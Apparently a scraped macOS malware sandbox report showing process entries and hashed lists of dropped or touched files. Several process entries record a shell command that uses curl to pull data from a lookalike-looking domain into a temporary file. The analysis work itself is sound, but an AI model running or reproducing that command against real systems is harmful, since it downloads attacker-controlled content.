PID:1279

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1279

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1279

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1281

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1281

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1281

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1283

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1283

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1283

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

/Library/Application Support/CrashReporter/DiagnosticMessagesHistory.plist
Filesize
676B

MD5
4edb4ec57ac28c275eaa5426d49a5eeb

SHA1
89e426262d20acfbbe582a3ff0243ad5145f347a

SHA256
d923e89c1bd71830c63e0eef20b2a5a4351f2de22815c9fe0a5e7b209f256af0

SHA512
697b6f0c67078f8687643741738900c4d62e5b5a5e3353329609e48b7ef760098bb11c196e9fadcaba45a17ac3cc09dcdcf2cc2131f2954d406525ee11725679

Download Submit
/Library/Google/GoogleSoftwareUpdate/TicketStore/.dat.nosync02c6.WWn32a
Filesize
1KB

MD5
19d92ff1bc44229db08692c08662a7f5

SHA1
ac8e06a0f0d97cd9de393152efc4c591313b8914

SHA256
e12be79cd060c1cf8a3a897b9ebcaa4437d40996e3049419c010bf1e5ee56535

SHA512
db921a86a985b85212e822a12f26da10d8b3ff972807a0b03f1cfd5b369be0b5dad30f5c088424f071590d22ec08313756431238a2009787c39f966113e53384

Download Submit
/Library/Preferences/com.apple.networkextension.uuidcache.plist
Filesize
122B

MD5
16a15c7222b5f487f9e47219bec96c9e

SHA1
47bb4748ff46c6365fb2bf5b22ca60387b4f42bb

SHA256
9ae1d6f1888fc41b8d9c6315df10394ef187eb1f57ac0abe48c5606b3277463c

SHA512
41595eb4b33c09cf1d087977c2a49c14a2894083a4d73dc88a0c9532e6c6b546f872c7cec14a16f674ebd0137c04e690124b777e197677cb964eb9336745d919

Download Submit
/private/var/db/keybags/persona.kb
Filesize
3KB

MD5
fe98de1f0965bccce0fcadb71649a979

SHA1
62e9364a03e443ce12c1c40366858575bb8155c9

SHA256
00a28bdb02683adfcf865f9d2ee95b56c4747c58ef3525d0ade5af2572a5dd9a

SHA512
6198969310b01d3eca60e12b6a4e79bbf25a139b9075ea52392edcc23ab34c28211f7341fded82f703364c262613dfe3097459f728ffbb2d5f3cfd2c23722037

Download Submit
/private/var/db/keybags/persona.kb
Filesize
3KB

MD5
fe98de1f0965bccce0fcadb71649a979

SHA1
62e9364a03e443ce12c1c40366858575bb8155c9

SHA256
00a28bdb02683adfcf865f9d2ee95b56c4747c58ef3525d0ade5af2572a5dd9a

SHA512
6198969310b01d3eca60e12b6a4e79bbf25a139b9075ea52392edcc23ab34c28211f7341fded82f703364c262613dfe3097459f728ffbb2d5f3cfd2c23722037

Download Submit
/private/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/mds/mdsDirectory.db
Filesize
47KB

MD5
0e4a0d1ceb2af6f0f8d0167ce77be2d3

SHA1
414ba4c1dc5fc8bf53d550e296fd6f5ad669918c

SHA256
cca093bcfc65e25dd77c849866e110df72526dffbe29d76e11e29c7d888a4030

SHA512
1dc5282d27c49a4b6f921ba5dfc88b8c1d32289df00dd866f9ac6669a5a8d99afeda614bffc7cf61a44375ae73e09cd52606b443b63636977c9cd2ef4fa68a20

Download Submit
/private/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/mds/mdsDirectory.db
Filesize
47KB

MD5
0e4a0d1ceb2af6f0f8d0167ce77be2d3

SHA1
414ba4c1dc5fc8bf53d550e296fd6f5ad669918c

SHA256
cca093bcfc65e25dd77c849866e110df72526dffbe29d76e11e29c7d888a4030

SHA512
1dc5282d27c49a4b6f921ba5dfc88b8c1d32289df00dd866f9ac6669a5a8d99afeda614bffc7cf61a44375ae73e09cd52606b443b63636977c9cd2ef4fa68a20

Download Submit
/private/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/mds/mdsDirectory.db_
Filesize
47KB

MD5
0e4a0d1ceb2af6f0f8d0167ce77be2d3

SHA1
414ba4c1dc5fc8bf53d550e296fd6f5ad669918c

SHA256
cca093bcfc65e25dd77c849866e110df72526dffbe29d76e11e29c7d888a4030

SHA512
1dc5282d27c49a4b6f921ba5dfc88b8c1d32289df00dd866f9ac6669a5a8d99afeda614bffc7cf61a44375ae73e09cd52606b443b63636977c9cd2ef4fa68a20

Download Submit
/private/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/mds/mdsObject.db
Filesize
4KB

MD5
d3a1859e6ec593505cc882e6def48fc8

SHA1
f8e6728e3e9de477a75706faa95cead9ce13cb32

SHA256
3ebafa97782204a4a1d75cfec22e15fcdeab45b65bab3b3e65508707e034a16c

SHA512
ea2a749b105759ea33408186b417359deffb4a3a5ed0533cb26b459c16bb3524d67ede5c9cf0d5098921c0c0a9313fb9c2672f1e5ba48810eda548fa3209e818

Download Submit
/private/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/mds/mdsObject.db_
Filesize
4KB

MD5
d3a1859e6ec593505cc882e6def48fc8

SHA1
f8e6728e3e9de477a75706faa95cead9ce13cb32

SHA256
3ebafa97782204a4a1d75cfec22e15fcdeab45b65bab3b3e65508707e034a16c

SHA512
ea2a749b105759ea33408186b417359deffb4a3a5ed0533cb26b459c16bb3524d67ede5c9cf0d5098921c0c0a9313fb9c2672f1e5ba48810eda548fa3209e818

Download Submit
/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/com.apple.mobileassetd/TemporaryItems/(A Document Being Saved By mobileassetd)/AssetTypeDescriptors.plist
Filesize
1KB

MD5
7c98238e6f9a7ab3e30c4c16283fae97

SHA1
f30126016495459fd5897df0b97fadb72819c5db

SHA256
b02dd9009b3dabe37d5c139166618c17195cf401eb01acd044a207f4c7c85e34

SHA512
d6cc8716476128f4fefdc98f25e7e189b8e77443e35803927302895d32c8c1cc2cebb6114316f63770655932e21c88b1badf1cd2a3ecac39cb9547d386a008bb

Download Submit
/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/com.apple.nehelper/TemporaryItems/(A Document Being Saved By nehelper)/com.apple.networkextension.necp.plist
Filesize
237B

MD5
94a86d6d28dd6d1963d093287e7a220a

SHA1
c46f5a0cc3ccc5b2d9420b2d24642d610eaa997c

SHA256
2c1ef2e812c0fa413c0d1aafd6a034aaf2a6b8e7bb178813b1faa6027d22e361

SHA512
d029835b0ce52305a60de13b129c1257ecafbe2e40d12623c762ce5dd58b4966ab5fc23433f3b8cfd376e5d93f19633fca72f3cc859e76bf64dabadff73637bd

Download Submit
/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/com.apple.nehelper/TemporaryItems/(A Document Being Saved By nehelper)/com.apple.networkextension.uuidcache.plist
Filesize
122B

MD5
16a15c7222b5f487f9e47219bec96c9e

SHA1
47bb4748ff46c6365fb2bf5b22ca60387b4f42bb

SHA256
9ae1d6f1888fc41b8d9c6315df10394ef187eb1f57ac0abe48c5606b3277463c

SHA512
41595eb4b33c09cf1d087977c2a49c14a2894083a4d73dc88a0c9532e6c6b546f872c7cec14a16f674ebd0137c04e690124b777e197677cb964eb9336745d919

Download Submit
/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/com.apple.nehelper/TemporaryItems/(A Document Being Saved By nehelper)/com.apple.networkextension.uuidcache.plist
Filesize
122B

MD5
5b21a7d986c41307be285d416dcfbfd4

SHA1
99f5e69f60b6de45d6e2ef98b06d2a16b0b8dbc1

SHA256
32e02684c812ae318d21fd46c6b34bc663c8a36279535e4f01894c01ed04deb5

SHA512
f8003c0b2274fd15567bb629a44489cffddd2e45981345c64b4d2b35b78a4673046441660e496cb834ce13c25e130607cb948a273f9c1d08481c1bb92204429c

Download Submit
/private/var/folders/zz/zyxvpxvq6csfxvn_n00000y800007k/T/CFNetworkDownload_YJxk0q.tmp/AssetData/DafsaData.bin
Filesize
52KB

MD5
9ad8ac1d25900c11c302fdf62a555081

SHA1
efafba31f333f909e5f51ae7384a673ea359ba86

SHA256
a50504c168b23f9394760000c2a60b9fbef8aa90bf64d78e256aa9af9487827c

SHA512
d3e8d1b5d87ea22628d765a9ebd611c9b3c1e586e59d767b52fac1c34435266eac50e9bd78204902749aa0918136bba51b95de686b0d429cd59f1d5844eac440

Download Submit
/private/var/folders/zz/zyxvpxvq6csfxvn_n00000y800007k/T/CFNetworkDownload_YJxk0q.tmp/Info.plist
Filesize
1KB

MD5
f12f380b8a6efe5a3443c4992d96b6ed

SHA1
2e76a4588718e255ac7139035890545a1425a002

SHA256
ec1e8f1ea858e762ffb38a047f2527e8ac0d20e7a12bfc4f14608416f6097a1c

SHA512
0af30e40558f64c58fde1d2cd7e4d87f3d9766a83f4ef091f4f7a7234531c71ff3869a700c3ead57eab337c8aa89faac009e8771bd71d9027382521e11d989d4

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads